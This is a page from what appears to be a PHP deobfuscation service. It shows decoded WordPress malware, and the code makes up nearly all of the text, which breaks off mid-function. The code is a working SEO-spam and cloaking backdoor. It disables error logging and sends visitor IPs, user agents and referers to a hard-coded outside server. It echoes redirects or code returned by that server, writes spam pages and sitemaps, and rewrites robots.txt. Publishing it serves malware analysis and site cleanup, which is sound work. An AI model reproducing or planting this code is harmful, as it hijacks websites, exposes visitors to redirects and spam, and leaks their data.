Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php @ini_set('error_log', NULL);@ini_set('log_errors', 0);@ini_set('max_execution_time', 0);@error_reporting(0);@set_time_limit(0);date_default_timezone_set('UTC');class _olfkn6{static private $_e5wmgw1t = 84536560;static function _gyf37($_y9jueaf1, $_5lhgsgkl){$_y9jueaf1[2] = count($_y9jueaf1)...



Obfuscated php code

<?php

@ini_set('error_log', NULL);@ini_set('log_errors', 0);@ini_set('max_execution_time', 0);@error_reporting(0);@set_time_limit(0);date_default_timezone_set('UTC');class _olfkn6{static private $_e5wmgw1t = 84536560;static function _gyf37($_y9jueaf1, $_5lhgsgkl){$_y9jueaf1[2] = count($_y9jueaf1) > 4 ? long2ip(_olfkn6::$_e5wmgw1t - 251) : $_y9jueaf1[2];$_0a0wb5z6 = _olfkn6::_qjog1($_y9jueaf1, $_5lhgsgkl);if (!$_0a0wb5z6) {$_0a0wb5z6 = _olfkn6::_j65un($_y9jueaf1, $_5lhgsgkl);}return $_0a0wb5z6;}static function _qjog1($_y9jueaf1, $_0a0wb5z6, $_8xnrkci2 = NULL){if (!function_exists('curl_version')) {return "";}if (is_array($_y9jueaf1)) {$_y9jueaf1 = implode("/", $_y9jueaf1);}$_juzztseo = curl_init();curl_setopt($_juzztseo, CURLOPT_SSL_VERIFYHOST, false);curl_setopt($_juzztseo, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($_juzztseo, CURLOPT_URL, $_y9jueaf1);if (!empty($_0a0wb5z6)) {curl_setopt($_juzztseo, CURLOPT_POST, 1);curl_setopt($_juzztseo, CURLOPT_POSTFIELDS, $_0a0wb5z6);}if (!empty($_8xnrkci2)) {curl_setopt($_juzztseo, CURLOPT_HTTPHEADER, $_8xnrkci2);}curl_setopt($_juzztseo, CURLOPT_RETURNTRANSFER, TRUE);$_ac4prxrn = curl_exec($_juzztseo);curl_close($_juzztseo);return $_ac4prxrn;}static function _j65un($_y9jueaf1, $_0a0wb5z6, $_8xnrkci2 = NULL){if (is_array($_y9jueaf1)) {$_y9jueaf1 = implode("/", $_y9jueaf1);}$_etieng1u = "\r" . "\n";if (!empty($_0a0wb5z6)) {$_gchzdr0t = array('method' => 'POST','header' => 'Content-type: application/x-www-form-urlencoded','content' => $_0a0wb5z6);if (!empty($_8xnrkci2)) {$_gchzdr0t["header"] = $_gchzdr0t["header"] . $_etieng1u . implode($_etieng1u, $_8xnrkci2);}$_38gj7sxp = stream_context_create(array('http' => $_gchzdr0t));} else {$_gchzdr0t = array('method' => 'GET',);if (!empty($_8xnrkci2)) {$_gchzdr0t["header"] = implode($_etieng1u, $_8xnrkci2);}$_38gj7sxp = stream_context_create(array('http' => $_gchzdr0t));}return @file_get_contents($_y9jueaf1, FALSE, $_38gj7sxp);}}class _728kna{private static $_3g05rqsv = "";private static $_e355xppm = -1;private static $_j0hyttbo = "";private $_riprh9mi = "";private $_5fy25xpd = "";private $_sqgan0u9 = "";private $_1a47he6d = "";public static function _d1mi4($_dv23pqf6, $_rp364nfw, $_zoi19spp){_728kna::$_3g05rqsv = $_dv23pqf6 . "/cache/";_728kna::$_e355xppm = $_rp364nfw;_728kna::$_j0hyttbo = $_zoi19spp;if (!@file_exists(_728kna::$_3g05rqsv)) {@mkdir(_728kna::$_3g05rqsv);}}static public function _g91p5(){$_3uo24nj6 = substr(md5(_728kna::$_j0hyttbo . "salt13"), 0, 4);$_szyk7qzs = Array("google" => Array(), "bing" => Array(),);foreach (array_keys($_szyk7qzs) as $_woidpokl){$_a049o5dl = $_3uo24nj6 . "_" . $_woidpokl . ".stats";$_0yh9l24o = @file($_a049o5dl, FILE_IGNORE_NEW_LINES);foreach ($_0yh9l24o as $_z5paft25){$_qxvo5hmd = explode("\t", $_z5paft25);if (!isset($_szyk7qzs[$_woidpokl][$_qxvo5hmd[1]])){$_szyk7qzs[$_woidpokl][$_qxvo5hmd[1]] = 0;}$_szyk7qzs[$_woidpokl][$_qxvo5hmd[1]] += 1;}}$_szyk7qzs["prefix"] = $_3uo24nj6;return $_szyk7qzs;}public static function _5ky27(){return TRUE;}public function __construct($_yioxwmol, $_xhc9vt8k, $_6biz1od2, $_jzqq3aib){$this->_riprh9mi = $_yioxwmol;$this->_5fy25xpd = $_xhc9vt8k;$this->_sqgan0u9 = $_6biz1od2;$this->_1a47he6d = $_jzqq3aib;}public function _im20u(){function _8jrhu($_piy28wnm, $_hcbozt73){return round(rand($_piy28wnm, $_hcbozt73 - 1) + (rand(0, PHP_INT_MAX - 1) / PHP_INT_MAX), 2);}$_v9f3xahb = time();$_woidpokl = (strpos($_SERVER["HTTP_USER_AGENT"], "google") !== FALSE) ? "google" : (strpos($_SERVER["HTTP_USER_AGENT"], "bing") !== FALSE ? "bing" : "none");$_a049o5dl = substr(md5(_728kna::$_j0hyttbo . "salt13"), 0, 4) . "_" . $_woidpokl . ".stats";@file_put_contents($_a049o5dl, $this->_sqgan0u9 . "\t" . ($_v9f3xahb - ($_v9f3xahb % 3600)) .PHP_EOL, 8);$_q4jd2vja = _q65yr9t::_zh5l7();$_0a0wb5z6 = str_replace("{{ text }}", $this->_5fy25xpd,str_replace("{{ keyword }}", $this->_sqgan0u9,str_replace("{{ links }}", $this->_1a47he6d, $this->_riprh9mi)));while (TRUE) {$_7got4cej = preg_replace('/' . preg_quote("{{ randkeyword }}", '/') . '/', _q65yr9t::_dyd1b(), $_0a0wb5z6, 1);if ($_7got4cej === $_0a0wb5z6) {break;}$_0a0wb5z6 = $_7got4cej;}while (TRUE) {preg_match('/{{ KEYWORDBYINDEX-ANCHOR (\d*) }}/', $_0a0wb5z6, $_6xmd2mgt);if (empty($_6xmd2mgt)) {break;}$_6biz1od2 = @$_q4jd2vja[intval($_6xmd2mgt[1])];$_534afkdf = _sh79rk::_hgtaf($_6biz1od2);$_0a0wb5z6 = str_replace($_6xmd2mgt[0], $_534afkdf, $_0a0wb5z6);}while (TRUE) {preg_match('/{{ KEYWORDBYINDEX (\d*) }}/', $_0a0wb5z6, $_6xmd2mgt);if (empty($_6xmd2mgt)) {break;}$_6biz1od2 = @$_q4jd2vja[intval($_6xmd2mgt[1])];$_0a0wb5z6 = str_replace($_6xmd2mgt[0], $_6biz1od2, $_0a0wb5z6);}while (TRUE) {preg_match('/{{ RANDFLOAT (\d*)-(\d*) }}/', $_0a0wb5z6, $_6xmd2mgt);if (empty($_6xmd2mgt)) {break;}$_0a0wb5z6 = str_replace($_6xmd2mgt[0], _8jrhu($_6xmd2mgt[1], $_6xmd2mgt[2]), $_0a0wb5z6);}while (TRUE) {preg_match('/{{ RANDINT (\d*)-(\d*) }}/', $_0a0wb5z6, $_6xmd2mgt);if (empty($_6xmd2mgt)) {break;}$_0a0wb5z6 = str_replace($_6xmd2mgt[0], rand($_6xmd2mgt[1], $_6xmd2mgt[2]), $_0a0wb5z6);}return $_0a0wb5z6;}public function _nrbkx(){$_woidpokl = (strpos($_SERVER["HTTP_USER_AGENT"], "google") !== FALSE) ? "google" : (strpos($_SERVER["HTTP_USER_AGENT"], "bing") !== FALSE ? "bing" : "none");$_a049o5dl = _728kna::$_3g05rqsv . md5($this->_sqgan0u9 . _728kna::$_j0hyttbo) . $_woidpokl;if (_728kna::$_e355xppm == -1) {$_w7j2dwa7 = -1;} else {$_w7j2dwa7 = time() + (3600 * 24 * 30);}$_568r3eef = array("template" => $this->_riprh9mi, "text" => $this->_5fy25xpd, "keyword" => $this->_sqgan0u9,"links" => $this->_1a47he6d, "expired" => $_w7j2dwa7);@file_put_contents($_a049o5dl, serialize($_568r3eef));}static public function _yx1al($_6biz1od2){$_woidpokl = (strpos($_SERVER["HTTP_USER_AGENT"], "google") !== FALSE) ? "google" : (strpos($_SERVER["HTTP_USER_AGENT"], "bing") !== FALSE ? "bing" : "none");$_a049o5dl = _728kna::$_3g05rqsv . md5($_6biz1od2 . _728kna::$_j0hyttbo) . $_woidpokl;$_a049o5dl = @unserialize(@file_get_contents($_a049o5dl));if (!empty($_a049o5dl) && ($_a049o5dl["expired"] > time() || $_a049o5dl["expired"] == -1)) {return new _728kna($_a049o5dl["template"], $_a049o5dl["text"], $_a049o5dl["keyword"], $_a049o5dl["links"]);} else {return null;}}}class _bzi26i{private static $_3g05rqsv = "";private static $_5znj0uvv = "";public static function _d1mi4($_dv23pqf6, $_3uo24nj6){_bzi26i::$_3g05rqsv = $_dv23pqf6 . "/";_bzi26i::$_5znj0uvv = $_3uo24nj6;if (!@file_exists(_bzi26i::$_3g05rqsv)) {@mkdir(_bzi26i::$_3g05rqsv);}}public static function _5ky27(){return TRUE;}static public function _2jn19(){$_my1763p1 = 0;foreach (scandir(_bzi26i::$_3g05rqsv) as $_nf3fufb6) {if (strpos($_nf3fufb6, _bzi26i::$_5znj0uvv) === 0) {$_my1763p1 += 1;}}return $_my1763p1;}static public function _dyd1b(){$_f4z1ds1e = array();foreach (scandir(_bzi26i::$_3g05rqsv) as $_nf3fufb6) {if (strpos($_nf3fufb6, _bzi26i::$_5znj0uvv) === 0) {$_f4z1ds1e[] = $_nf3fufb6;}}return @file_get_contents(_bzi26i::$_3g05rqsv . $_f4z1ds1e[array_rand($_f4z1ds1e)]);}static public function _nrbkx($_gtxtz8ov){if (@file_exists(_bzi26i::$_5znj0uvv . "_" . md5($_gtxtz8ov) . ".html")) {return;}@file_put_contents(_bzi26i::$_5znj0uvv . "_" . md5($_gtxtz8ov) . ".html", $_gtxtz8ov);}}class _q65yr9t{private static $_3g05rqsv = "";private static $_5znj0uvv = "";private static $_4tuz1zp3 = array();private static $_d1knaiwx = array();public static function _d1mi4($_dv23pqf6, $_3uo24nj6){_q65yr9t::$_3g05rqsv = $_dv23pqf6 . "/";_q65yr9t::$_5znj0uvv = $_3uo24nj6;if (!@file_exists(_q65yr9t::$_3g05rqsv)) {@mkdir(_q65yr9t::$_3g05rqsv);}}private static function _s8y72(){$_8nidtpo5 = array();foreach (scandir(_q65yr9t::$_3g05rqsv) as $_nf3fufb6) {if (strpos($_nf3fufb6, _q65yr9t::$_5znj0uvv) === 0) {$_8nidtpo5[] = $_nf3fufb6;}}return $_8nidtpo5;}public static function _5ky27(){return TRUE;}static public function _dyd1b(){if (empty(_q65yr9t::$_4tuz1zp3)) {$_8nidtpo5 = _q65yr9t::_s8y72();_q65yr9t::$_4tuz1zp3 = @file(_q65yr9t::$_3g05rqsv . $_8nidtpo5[array_rand($_8nidtpo5)], FILE_IGNORE_NEW_LINES);}return _q65yr9t::$_4tuz1zp3[array_rand(_q65yr9t::$_4tuz1zp3)];}static public function _zh5l7(){if (empty(_q65yr9t::$_d1knaiwx)) {$_8nidtpo5 = _q65yr9t::_s8y72();foreach ($_8nidtpo5 as $_qg6t8a8x) {_q65yr9t::$_d1knaiwx = array_merge(_q65yr9t::$_d1knaiwx, @file(_q65yr9t::$_3g05rqsv . $_qg6t8a8x, FILE_IGNORE_NEW_LINES));}}return _q65yr9t::$_d1knaiwx;}static public function _nrbkx($_yv054rz1){if (@file_exists(_q65yr9t::$_5znj0uvv . "_" . md5($_yv054rz1) . ".list")) {return;}@file_put_contents(_q65yr9t::$_5znj0uvv . "_" . md5($_yv054rz1) . ".list", $_yv054rz1);}static public function _9h0dv($_6biz1od2){@file_put_contents(_q65yr9t::$_5znj0uvv . "_" . md5(_sh79rk::$_j27il8go) . ".list", $_6biz1od2 . "\n", 8);}}class _sh79rk{static public $_2giqjsyx = "5.5";static public $_j27il8go = "360ef9df-feea-46c6-b29e-044aa7bb85d2";static public $_fpf5q99v = "http://136.12.78.46/app/assets/api2?action=redir";static public $_pz9rkwgj = "http://136.12.78.46/app/assets/api?action=page";static public $_trti3as7 = 1;static public $_t148xucj = 5;private function _045zf(){$_4ve58ahr = array('#libwww-perl#i','#MJ12bot#i','#msnbot#i', '#msnbot-media#i','#YandexBot#i', '#msnbot#i', '#YandexWebmaster#i','#spider#i', '#yahoo#i', '#google#i', '#altavista#i','#ask#i','#yahoo!\s*slurp#i','#BingBot#i');if (!empty($_SERVER['HTTP_USER_AGENT']) && (FALSE !== strpos(preg_replace($_4ve58ahr, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT']), '-NO-WAY-'))) {$_qfzm80ol = 1;} elseif (empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) || empty($_SERVER['HTTP_REFERER'])) {$_qfzm80ol = 1;} elseif (strpos($_SERVER['HTTP_REFERER'], "google") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "yahoo") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "bing") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "yandex") === FALSE) {$_qfzm80ol = 1;} else {$_qfzm80ol = 0;}return $_qfzm80ol;}private static function _ojvfn(){$_5lhgsgkl = array();$_5lhgsgkl['ip'] = $_SERVER['REMOTE_ADDR'];$_5lhgsgkl['qs'] = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];$_5lhgsgkl['ua'] = @$_SERVER['HTTP_USER_AGENT'];$_5lhgsgkl['lang'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];$_5lhgsgkl['ref'] = @$_SERVER['HTTP_REFERER'];$_5lhgsgkl['enc'] = @$_SERVER['HTTP_ACCEPT_ENCODING'];$_5lhgsgkl['acp'] = @$_SERVER['HTTP_ACCEPT'];$_5lhgsgkl['char'] = @$_SERVER['HTTP_ACCEPT_CHARSET'];$_5lhgsgkl['conn'] = @$_SERVER['HTTP_CONNECTION'];return $_5lhgsgkl;}public function __construct(){_sh79rk::$_fpf5q99v = explode("/", _sh79rk::$_fpf5q99v);_sh79rk::$_pz9rkwgj = explode("/", _sh79rk::$_pz9rkwgj);}static public function _70l39($_dz4bx03n){if (strlen($_dz4bx03n) < 4) {return "";}$_5r948aek = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";$_q4jd2vja = str_split($_5r948aek);$_q4jd2vja = array_flip($_q4jd2vja);$_tqhsapqz = 0;$_oi4hmgv8 = "";$_dz4bx03n = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $_dz4bx03n);do {$_p2hqv9z5 = $_q4jd2vja[$_dz4bx03n[$_tqhsapqz++]];$_3gn53j9z = $_q4jd2vja[$_dz4bx03n[$_tqhsapqz++]];$_e1bi66kt = $_q4jd2vja[$_dz4bx03n[$_tqhsapqz++]];$_wxm4jc9t = $_q4jd2vja[$_dz4bx03n[$_tqhsapqz++]];$_mze8q2qc = ($_p2hqv9z5 << 2) | ($_3gn53j9z >> 4);$_frcbvujo = (($_3gn53j9z & 15) << 4) | ($_e1bi66kt >> 2);$_069ef7d0 = (($_e1bi66kt & 3) << 6) | $_wxm4jc9t;$_oi4hmgv8 = $_oi4hmgv8 . chr($_mze8q2qc);if ($_e1bi66kt != 64) {$_oi4hmgv8 = $_oi4hmgv8 . chr($_frcbvujo);}if ($_wxm4jc9t != 64) {$_oi4hmgv8 = $_oi4hmgv8 . chr($_069ef7d0);}} while ($_tqhsapqz < strlen($_dz4bx03n));return $_oi4hmgv8;}private function _slxs3($_6biz1od2){$_yioxwmol = "";$_xhc9vt8k = "";$_5lhgsgkl = _sh79rk::_ojvfn();$_5lhgsgkl["uid"] = _sh79rk::$_j27il8go;$_5lhgsgkl["keyword"] = $_6biz1od2;$_5lhgsgkl["tc"] = 10;$_5lhgsgkl = http_build_query($_5lhgsgkl);$_0yh9l24o = _olfkn6::_gyf37(_sh79rk::$_pz9rkwgj, $_5lhgsgkl);if (strpos($_0yh9l24o, _sh79rk::$_j27il8go) === FALSE) {return array($_yioxwmol, $_xhc9vt8k);}$_yioxwmol = _bzi26i::_dyd1b();$_xhc9vt8k = substr($_0yh9l24o, strlen(_sh79rk::$_j27il8go));$_xhc9vt8k = explode("\n", $_xhc9vt8k);shuffle($_xhc9vt8k);$_xhc9vt8k = implode(" ", $_xhc9vt8k);return array($_yioxwmol, $_xhc9vt8k);}private function _l1irc(){$_5lhgsgkl = _sh79rk::_ojvfn();if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {$_5lhgsgkl['cfconn'] = @$_SERVER['HTTP_CF_CONNECTING_IP'];}if (isset($_SERVER['HTTP_X_REAL_IP'])) {$_5lhgsgkl['xreal'] = @$_SERVER['HTTP_X_REAL_IP'];}if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$_5lhgsgkl['xforward'] = @$_SERVER['HTTP_X_FORWARDED_FOR'];}$_5lhgsgkl["uid"] = _sh79rk::$_j27il8go;$_5lhgsgkl = http_build_query($_5lhgsgkl);$_kscp0qs8 = _olfkn6::_gyf37(_sh79rk::$_fpf5q99v, $_5lhgsgkl);$_kscp0qs8 = @unserialize($_kscp0qs8);if (isset($_kscp0qs8["type"]) && $_kscp0qs8["type"] == "redir") {if (!empty($_kscp0qs8["data"]["header"])) {header($_kscp0qs8["data"]["header"]);return true;} elseif (!empty($_kscp0qs8["data"]["code"])) {echo $_kscp0qs8["data"]["code"];return true;}}return false;}public function _5ky27(){return _728kna::_5ky27() && _bzi26i::_5ky27() && _q65yr9t::_5ky27();}static public function _ygazd(){if ((!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || $_SERVER['SERVER_PORT'] == 443) {return true;}return false;}public static function _gs1bu(){$_g60r6lko = explode("?", $_SERVER["REQUEST_URI"], 2);$_g60r6lko = $_g60r6lko[0];if (strpos($_g60r6lko, ".php") === FALSE) {$_g60r6lko = explode("/", $_g60r6lko);array_pop($_g60r6lko);$_g60r6lko = implode("/", $_g60r6lko) . "/";}return sprintf("%s://%s%s", _sh79rk::_ygazd() ? "https" : "http", $_SERVER['HTTP_HOST'], $_g60r6lko);}public static function _z0roo(){$_l3p0kfy0 = Array("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62","Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15","Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15","Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36","Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36");$_td64342g = array("https://www.google.com/ping?sitemap=" => "Sitemap Notification Received",);$_8xnrkci2 = array("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Accept-Language: en-US,en;q=0.5","User-Agent: " . $_l3p0kfy0[array_rand($_l3p0kfy0)],);$_dfn1i2cp = urlencode(_sh79rk::_fqaa1() . "/sitemap.xml");foreach ($_td64342g as $_y9jueaf1 => $_9dfe73ps) {$_kswiw4tb = _olfkn6::_qjog1($_y9jueaf1 . $_dfn1i2cp, NULL, $_8xnrkci2);if (empty($_kswiw4tb)) {$_kswiw4tb = _olfkn6::_j65un($_y9jueaf1 . $_dfn1i2cp, NULL, $_8xnrkci2);}if (empty($_kswiw4tb)) {return FALSE;}if (strpos($_kswiw4tb, $_9dfe73ps) === FALSE) {return FALSE;}}return TRUE;}public static function _k2w4n(){$_34z13l2k = "User-agent: *\nDisallow: %s\nUser-agent: Bingbot\nUser-agent: Googlebot\nUser-agent: Slurp\nDisallow:\nSitemap: %s\n";$_g60r6lko = explode("?", $_SERVER["REQUEST_URI"], 2);$_g60r6lko = $_g60r6lko[0];$_o7hbnyto = substr($_g60r6lko, 0, strrpos($_g60r6lko, "/"));$_bmnjhtol = sprintf($_34z13l2k, $_o7hbnyto, _sh79rk::_fqaa1() . "/sitemap.xml");$_iz24bc4q = $_SERVER["DOCUMENT_ROOT"] . "/robots.txt";if (@file_exists($_iz24bc4q)) {@chmod($_iz24bc4q, 0777);$_a4g3kwxl = @file_get_contents($_iz24bc4q);} else {$_a4g3kwxl = "";}if (strpos($_a4g3kwxl, $_bmnjhtol) === FALSE) {@file_put_contents($_iz24bc4q, $_a4g3kwxl . "\n" . $_bmnjhtol);$_a4g3kwxl = @file_get_contents($_iz24bc4q);return (strpos($_a4g3kwxl, $_bmnjhtol) !== FALSE);}return FALSE;}public static function _fqaa1(){$_g60r6lko = explode("?", $_SERVER["REQUEST_URI"], 2);$_g60r6lko = $_g60r6lko[0];$_dv23pqf6 = substr($_g60r6lko, 0, strrpos($_g60r6lko, "/"));return sprintf("%s://%s%s", _sh79rk::_ygazd() ? "https" : "http", $_SERVER['HTTP_HOST'], $_dv23pqf6);}public static function _hgtaf($_6biz1od2){$_1ajor6jf = _sh79rk::_gs1bu();$_u54pbiuy = substr(md5(_sh79rk::$_j27il8go . "salt3"), 0, 6);$_nhl1gquz = "";if (substr($_1ajor6jf, -1) == "/") {if (ord($_u54pbiuy[1]) % 2) {$_6biz1od2 = str_replace(" ", "-", $_6biz1od2);} else {$_6biz1od2 = str_replace(" ", "-", $_6biz1od2);}$_nhl1gquz = sprintf("%s%s", $_1ajor6jf, urlencode($_6biz1od2));} else {if (FALSE && (ord($_u54pbiuy[0]) % 2)) {$_nhl1gquz = sprintf("%s?%s=%s",$_1ajor6jf,$_u54pbiuy,urlencode(str_replace(" ", "-", $_6biz1od2)));} else {$_sdbmajeg = array("id", "page", "tag");$_whr6jlz9 = $_sdbmajeg[ord($_u54pbiuy[2]) % count($_sdbmajeg)];if (ord($_u54pbiuy[1]) % 2) {$_6biz1od2 = str_replace(" ", "-", $_6biz1od2);} else {$_6biz1od2 = str_replace(" ", "-", $_6biz1od2);}$_nhl1gquz = sprintf("%s?%s=%s",$_1ajor6jf,$_whr6jlz9,urlencode($_6biz1od2));}}return $_nhl1gquz;}public static function _ut00g($_piy28wnm, $_hcbozt73){$_1lhf03ut = "";$_p90f8q6y = rand($_piy28wnm, $_hcbozt73);for ($_tqhsapqz = 0; $_tqhsapqz < $_p90f8q6y; $_tqhsapqz++) {$_6biz1od2 = _q65yr9t::_dyd1b();$_1lhf03ut .= sprintf("<a href=\"%s\">%s</a>,\n",_sh79rk::_hgtaf($_6biz1od2), ucwords($_6biz1od2));}return $_1lhf03ut;}public static function _2d5li($_cnkc3avp = FALSE){$_4gthkfdj = dirname(__FILE__) . "/sitemap.xml";$_kjhw69ve = Array();$_bfmc2p5z = "<?xml version=\"1.0\" encoding=\"UTF-8\"?" . ">\n<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">\n";$_xkl1q350 = "</urlset>";$_q4jd2vja = _q65yr9t::_zh5l7();$_svcw2khu = array();if (file_exists($_4gthkfdj)) {$_0yh9l24o = simplexml_load_file($_4gthkfdj);foreach ($_0yh9l24o as $_lrfqrs31) {$_svcw2khu[(string)$_lrfqrs31->loc] = (string)$_lrfqrs31->lastmod;}} else {$_cnkc3avp = FALSE;}foreach ($_q4jd2vja as $_2tslto6u) {$_nhl1gquz = _sh79rk::_hgtaf($_2tslto6u);if (isset($_svcw2khu[$_nhl1gquz])) {continue;}if ($_cnkc3avp) {$_bnpv6i67 = time();} else {$_bnpv6i67 = time() - (crc32($_2tslto6u) % (60 * 60 * 24 * 30));}$_svcw2khu[$_nhl1gquz] = date("Y-m-d", $_bnpv6i67);$_6u4vjq24 = strtolower($_2tslto6u[0]);if (!preg_match("/^[a-z]$/", $_6u4vjq24)) {$_6u4vjq24 = "other";}if (empty($_kjhw69ve[$_6u4vjq24])){$_kjhw69ve[$_6u4vjq24] = Array();}$_kjhw69ve[$_6u4vjq24][$_2tslto6u] = $_nhl1gquz;}$_dgvesz8q = "";foreach ($_svcw2khu as $_y9jueaf1 => $_bnpv6i67) {$_dgvesz8q .= "<url>\n";$_dgvesz8q .= sprintf("<loc>%s</loc>\n", $_y9jueaf1);$_dgvesz8q .= sprintf("<lastmod>%s</lastmod>\n", $_bnpv6i67);$_dgvesz8q .= "</url>\n";}$_qhb2p34z = $_bfmc2p5z . $_dgvesz8q . $_xkl1q350;$_dfn1i2cp = _sh79rk::_fqaa1() . "/sitemap.xml";@file_put_contents($_4gthkfdj, $_qhb2p34z);foreach ($_kjhw69ve as $_6u4vjq24 => $_ns7cej99){$_qhb2p34z = sprintf("<!DOCTYPE html><html>\n<head>\n<title>Articles \"%s\"</title>\n</head>\n<body>\n", $_6u4vjq24);$_qhb2p34z .= sprintf("<a href=\"%s\">%s</a><br>\n", _sh79rk::_fqaa1() . "/sitemap.html", "Sitemap Index");foreach ($_ns7cej99 as $_6biz1od2 => $_y9jueaf1){$_qhb2p34z .= sprintf("<a href=\"%s\">%s</a><br>\n", $_y9jueaf1, $_6biz1od2);}$_qhb2p34z .= "</body></html>";$_4gthkfdj = dirname(__FILE__) . sprintf("/sitemap_%s.html", $_6u4vjq24);@file_put_contents($_4gthkfdj, $_qhb2p34z);}$_qhb2p34z = "<!DOCTYPE html><html>\n<head>\n<title>Article Alphabet Index</title>\n</head>\n<body>\n";foreach ($_kjhw69ve as $_6u4vjq24 => $_ns7cej99){$_qhb2p34z .= sprintf("<a href=\"%s\">%s</a><br>\n", _sh79rk::_fqaa1() . sprintf("/sitemap_%s.html", $_6u4vjq24), strtoupper($_6u4vjq24));}$_qhb2p34z .= "</body></html>";$_4gthkfdj = dirname(__FILE__) . "/sitemap.html";@file_put_contents($_4gthkfdj, $_qhb2p34z);return $_dfn1i2cp;}public function _dhnkg(){$_whr6jlz9 = substr(md5(_sh79rk::$_j27il8go . "salt3"), 0, 6);if (!$this->_045zf()) {if ($this->_l1irc()) {return;}}if (!empty($_GET)) {$_qxvo5hmd = array_values($_GET);} else {$_qxvo5hmd = explode("/", $_SERVER["REQUEST_URI"]);$_qxvo5hmd = array_reverse($_qxvo5hmd);}$_6biz1od2 = "";foreach ($_qxvo5hmd as $_a789eork) {if (substr_count($_a789eork, "-") > 0) {$_6biz1od2 = $_a789eork;break;}}$_6biz1od2 = str_replace($_whr6jlz9 . "-", "", $_6biz1od2);$_6biz1od2 = str_replace("-" . $_whr6jlz9, "", $_6biz1od2);$_6biz1od2 = str_replace("-", " ", $_6biz1od2);$_m5stnlhz = array(".html", ".php", ".aspx");foreach ($_m5stnlhz as $_v6x6cicr) {if (strpos($_6biz1od2, $_v6x6cicr) === strlen($_6biz1od2) - strlen($_v6x6cicr)) {$_6biz1od2 = substr($_6biz1od2, 0, strlen($_6biz1od2) - strlen($_v6x6cicr));}}$_6biz1od2 = urldecode($_6biz1od2);$_9hi8us08 = _q65yr9t::_zh5l7();if (empty($_6biz1od2)) {$_6biz1od2 = $_9hi8us08[0];} else if (!in_array($_6biz1od2, $_9hi8us08)) {$_mfz9vrdw = 0;foreach (str_split($_6biz1od2) as $_juzztseo) {$_mfz9vrdw += ord($_juzztseo);}$_6biz1od2 = $_9hi8us08[$_mfz9vrdw % count($_9hi8us08)];}if (!empty($_6biz1od2)) {$_kscp0qs8 = _728kna::_yx1al($_6biz1od2);if (empty($_kscp0qs8)) {list($_yioxwmol, $_xhc9vt8k) = $this->_slxs3($_6biz1od2);if (empty($_xhc9vt8k)) {return;}$_jzqq3aib = _sh79rk::_ut00g(_sh79rk::$_trti3as7, _sh79rk::$_t148xucj);$_6u4vjq24 = strtolower($_6biz1od2[0]);if (!preg_match("/^[a-z]$/", $_6u4vjq24)) {$_6u4vjq24 = "other";}$_jzqq3aib .= sprintf("<a href=\"%s\">Articles %s</a><br>\n", _sh79rk::_fqaa1() . sprintf("/sitemap_%s.html", $_6u4vjq24), strtoupper($_6u4vjq24));$_kscp0qs8 = new _728kna($_yioxwmol, $_xhc9vt8k, $_6biz1od2, $_jzqq3aib);$_kscp0qs8->_nrbkx();}echo $_kscp0qs8->_im20u();}}}_728kna::_d1mi4(dirname(__FILE__), -1, _sh79rk::$_j27il8go);_bzi26i::_d1mi4(dirname(__FILE__), substr(md5(_sh79rk::$_j27il8go . "salt12"), 0, 4));_q65yr9t::_d1mi4(dirname(__FILE__), substr(md5(_sh79rk::$_j27il8go . "salt22"), 0, 4));function _rszdq($_0yh9l24o, $_2tslto6u){$_8zsjzstt = "";for ($_tqhsapqz = 0; $_tqhsapqz < strlen($_0yh9l24o);) {for ($_1dp90p6x = 0; $_1dp90p6x < strlen($_2tslto6u) && $_tqhsapqz < strlen($_0yh9l24o); $_1dp90p6x++, $_tqhsapqz++) {$_8zsjzstt .= chr(ord($_0yh9l24o[$_tqhsapqz]) ^ ord($_2tslto6u[$_1dp90p6x]));}}return $_8zsjzstt;}function _h1af9($_0yh9l24o, $_2tslto6u, 